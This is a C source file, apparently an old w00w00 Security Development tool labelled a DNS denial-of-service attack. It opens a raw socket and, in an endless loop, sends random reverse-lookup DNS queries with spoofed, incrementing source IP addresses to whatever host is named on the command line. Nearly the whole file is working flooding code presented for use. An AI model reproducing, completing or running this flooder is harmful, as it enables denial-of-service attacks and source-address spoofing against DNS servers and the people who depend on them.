/* ******************************************************* */
/* w00w00 DNS attack (Denial of Service) 		   */ 
/* w00w00 Security Development (WSD)			   */ 
/* ------------------------------------------------------- */
/* Email: w00w00@janova.org or WSD@janova.org		   */
/* Sites: http://www.janova.org, ftp://ftp.janova.org/pub  */
/* ******************************************************* */

#include "WSD-spoof.c"
#include "dns.h"
#include "WSD-DNS2.c"
                   
#define  ERROR  -1
#define  VERSION "v0.2"
#define  DNSHDRSIZE 12

void main(int argc, char **argv)
{
  int sraw, on = 1;
  unsigned long s_ip, d_ip;

  char *data;
  char buf[4000];

  unsigned char names[255];

  struct dnshdr *dns;

  printf("w00w00!\n");

  if (argc < 2) {
     printf("Usage: %s <host>\n", argv[0]); 
     printf("w00w00 DNS Attack - w00w00@janova.org, WSD@janova.org\n");
     exit(0);
  }
	
  dns  = (struct dnshdr  *)buf;
  data = (char *)(buf+12);
  bzero(buf, sizeof(buf));

  sraw = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if (sraw == ERROR) {
     perror("socket");
     exit(ERROR);
  }
  
  if ((setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)))
	== ERROR) {
     perror("setsockopt");
     exit(ERROR);
  }

  printf("WSD-baddns %s: DNS attack - w00w00 Security Development (WSD)\n",
         VERSION);

  sleep(1);

  s_ip = host2ip("100.1.2.3");
  d_ip = host2ip(argv[1]);
       
  dns->id      = 123;
  dns->rd      = 1;
  dns->que_num = htons(1);
      
  while(1) {            
     sprintf(names, "\3%d\3%d\3%d\3%d\07in-addr\04arpa",
             myrand(), myrand(), myrand(), myrand());        

     printf("%s\n", names);
     strcpy(data,   names);

     *((u_short *) (data+strlen(names)+1)) = ntohs(12);
     *((u_short *) (data+strlen(names)+3)) = ntohs(1);

     udp_send(sraw, s_ip, d_ip, 2600+myrand(), 53, buf, 14+strlen(names)+5);

     s_ip = ntohl(s_ip);
     s_ip++;
     s_ip = htonl(s_ip);   
              
  }
}
